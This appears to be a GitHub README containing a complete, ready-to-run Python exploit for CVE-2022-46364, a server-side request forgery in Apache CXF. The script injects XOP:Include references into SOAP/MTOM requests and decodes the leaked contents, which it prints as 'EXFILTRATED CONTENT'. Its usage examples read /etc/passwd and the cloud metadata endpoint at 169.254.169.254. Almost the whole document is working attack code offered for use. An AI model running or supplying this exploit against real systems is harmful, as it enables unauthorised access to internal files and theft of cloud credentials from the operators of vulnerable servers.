README.md
Rendering markdown...
#!/usr/bin/env python3
"""
CVE-2022-46364 Professional Exploit
====================================
Apache CXF SSRF via MTOM XOP:Include (CVSS 9.8 | CWE-918)
Affected: Apache CXF < 3.5.5 / < 3.4.10
Author: kasemsh
"""
import argparse
import base64
import re
import sys
import urllib.error
import urllib.request
from typing import Tuple, Optional
class Colors:
RED = '\033[91m'
GREEN = '\033[92m'
YELLOW = '\033[93m'
BLUE = '\033[94m'
MAGENTA = '\033[95m'
CYAN = '\033[96m'
BOLD = '\033[1m'
END = '\033[0m'
class CXFExploit:
BOUNDARY = "----=_Part_1"
TIMEOUT = 10
def __init__(self, target: str, ssrf_url: str, domain: str, plain_soap: bool = False):
self.target = target
self.ssrf_url = ssrf_url
self.domain = domain
self.plain_soap = plain_soap
def build_mtom_payload(self) -> Tuple[bytes, str]:
"""Construct MTOM multipart SOAP request with XOP:Include"""
soap_envelope = f"""<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:dev="http://{self.domain}/">
<soapenv:Header/>
<soapenv:Body>
<dev:submitReport>
<arg0>
<employeeName><xop:Include xmlns:xop="http://www.w3.org/2004/08/xop/include" href="{self.ssrf_url}"/></employeeName>
<department>IT</department>
<content>test</content>
<confidential>false</confidential>
</arg0>
</dev:submitReport>
</soapenv:Body>
</soapenv:Envelope>"""
body = (
f"--{self.BOUNDARY}\r\n"
f'Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"\r\n'
f'Content-Transfer-Encoding: 8bit\r\n'
f'Content-ID: <[email protected]>\r\n'
f"\r\n"
f"{soap_envelope}\r\n"
f"--{self.BOUNDARY}--\r\n"
).encode("utf-8")
content_type = (
f'multipart/related; type="application/xop+xml"; '
f'boundary="{self.BOUNDARY}"; '
f'start="<[email protected]>"; '
f'start-info="text/xml"'
)
return body, content_type
def build_plain_soap_payload(self) -> Tuple[bytes, str]:
"""Construct plain SOAP request with XOP:Include"""
soap_envelope = f"""<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:dev="http://{self.domain}/">
<soapenv:Header/>
<soapenv:Body>
<dev:submitReport>
<arg0>
<employeeName><xop:Include xmlns:xop="http://www.w3.org/2004/08/xop/include" href="{self.ssrf_url}"/></employeeName>
<department>IT</department>
<content>test</content>
<confidential>false</confidential>
</arg0>
</dev:submitReport>
</soapenv:Body>
</soapenv:Envelope>"""
return soap_envelope.encode("utf-8"), "text/xml; charset=UTF-8"
def extract_response(self, response_xml: str) -> Tuple[Optional[str], Optional[str]]:
"""Extract and decode Base64 content from SOAP response"""
# Pattern 1: Extract from "Report received from BASE64"
match = re.search(r'Report received from ([A-Za-z0-9+/=\n\r]+)', response_xml, re.DOTALL)
if match:
b64_content = match.group(1).strip()
# Clean up any whitespace/newlines in base64
b64_content = re.sub(r'\s+', '', b64_content)
try:
decoded = base64.b64decode(b64_content).decode("utf-8", errors="replace")
return decoded, b64_content
except Exception as e:
pass
# Pattern 2: <return>BASE64</return>
match = re.search(r'<return>([A-Za-z0-9+/=\s]+)</return>', response_xml, re.DOTALL)
if match:
b64_content = match.group(1).strip()
b64_content = re.sub(r'\s+', '', b64_content)
try:
decoded = base64.b64decode(b64_content).decode("utf-8", errors="replace")
return decoded, b64_content
except Exception:
pass
# Pattern 3: <employeeName>BASE64</employeeName>
match = re.search(r'<employeeName>([A-Za-z0-9+/=\s]+)</employeeName>', response_xml, re.DOTALL)
if match:
b64_content = match.group(1).strip()
b64_content = re.sub(r'\s+', '', b64_content)
try:
decoded = base64.b64decode(b64_content).decode("utf-8", errors="replace")
return decoded, b64_content
except Exception:
pass
return None, None
def send_request(self) -> Tuple[str, int]:
"""Send SOAP request and return response"""
body, content_type = self.build_plain_soap_payload() if self.plain_soap else self.build_mtom_payload()
req = urllib.request.Request(
url=self.target,
data=body,
method="POST",
headers={
"Content-Type": content_type,
"SOAPAction": '""',
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
},
)
try:
with urllib.request.urlopen(req, timeout=self.TIMEOUT) as resp:
return resp.read().decode("utf-8", errors="replace"), resp.status
except urllib.error.HTTPError as exc:
return exc.read().decode("utf-8", errors="replace"), exc.code
def exploit(self):
"""Execute SSRF exploit"""
print(f"{Colors.CYAN}{Colors.BOLD}")
print("=" * 70)
print(" CVE-2022-46364 | Apache CXF SSRF via MTOM XOP:Include")
print(" CVSS 9.8 CRITICAL | CWE-918")
print("=" * 70)
print(f"{Colors.END}")
print(f"{Colors.BOLD}[CONFIG]{Colors.END}")
print(f" Target: {Colors.YELLOW}{self.target}{Colors.END}")
print(f" SSRF URL: {Colors.YELLOW}{self.ssrf_url}{Colors.END}")
print(f" Domain: {Colors.YELLOW}{self.domain}{Colors.END}")
print(f" Method: {Colors.YELLOW}{'Plain SOAP' if self.plain_soap else 'MTOM'}{Colors.END}")
print()
print(f"{Colors.BOLD}[*]{Colors.END} Sending exploit payload...")
try:
response, status = self.send_request()
except Exception as e:
print(f"{Colors.RED}[!] Request failed: {e}{Colors.END}")
sys.exit(1)
print(f"{Colors.GREEN}[+]{Colors.END} Server responded: HTTP {status}")
print()
# Show raw response snippet for debugging
print(f"{Colors.BOLD}[RAW RESPONSE SNIPPET]{Colors.END}")
print(f"{Colors.BLUE}{response[:500]}{Colors.END}")
print()
decoded, b64_raw = self.extract_response(response)
if decoded:
if b64_raw:
print(f"{Colors.BOLD}[BASE64 EXTRACTED]{Colors.END}")
print(f"{Colors.MAGENTA}{b64_raw[:200]}{'...' if len(b64_raw) > 200 else ''}{Colors.END}")
print()
print(f"{Colors.BOLD}{Colors.GREEN}[EXFILTRATED CONTENT]{Colors.END}")
print("=" * 70)
print(decoded)
print("=" * 70)
print()
print(f"{Colors.GREEN}{Colors.BOLD}[✓] EXPLOIT SUCCESSFUL{Colors.END}")
print(f"{Colors.CYAN}Server fetched internal resource and returned contents.{Colors.END}")
else:
print(f"{Colors.RED}[!] Could not extract/decode Base64 content{Colors.END}")
print(f"{Colors.YELLOW}[FULL RAW RESPONSE]{Colors.END}")
print("=" * 70)
print(response)
print("=" * 70)
def main():
banner = f"""{Colors.BOLD}{Colors.CYAN}
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██╗ ██╗ ██████╗ ██████╗ ██████╗ ██╗ ██╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗╚════██╗ ██║ ██║██╔════╝ ╚════██╗██╔════╝ ██║ ██║
██║ ██║ ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝ █████╔╝ ███████║███████╗ █████╔╝███████╗ ███████║
██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ╚═══██╗ ╚════██║██╔═══██╗██╔═══╝ ██╔═══██╗╚════██║
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗██████╔╝ ██║╚██████╔╝███████╗╚██████╔╝ ██║
╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝╚═════╝ ╚═╝ ╚═════╝ ╚══════╝ ╚═════╝ ╚═╝
{Colors.END}"""
print(banner)
parser = argparse.ArgumentParser(
description="CVE-2022-46364 Apache CXF SSRF Exploit",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog=f"""{Colors.BOLD}Examples:{Colors.END}
python3 exploit.py -t http://target.com:8080/employeeservice -s file:///etc/passwd -d target.com
python3 exploit.py -t http://target.com/soap -s http://169.254.169.254/latest/meta-data/ -d target.com
python3 exploit.py -t http://victim/api -s http://127.0.0.1:9999/secret --plain-soap
""",
)
parser.add_argument("-t", "--target", required=True, help="Vulnerable CXF SOAP endpoint URL")
parser.add_argument("-s", "--ssrf-url", required=True, help="Internal URL to exfiltrate")
parser.add_argument("-d", "--domain", default="localhost", help="Target domain (default: localhost)")
parser.add_argument("--plain-soap", action="store_true", help="Use plain SOAP instead of MTOM")
args = parser.parse_args()
exploit = CXFExploit(
target=args.target,
ssrf_url=args.ssrf_url,
domain=args.domain,
plain_soap=args.plain_soap
)
exploit.exploit()
if __name__ == "__main__":
main()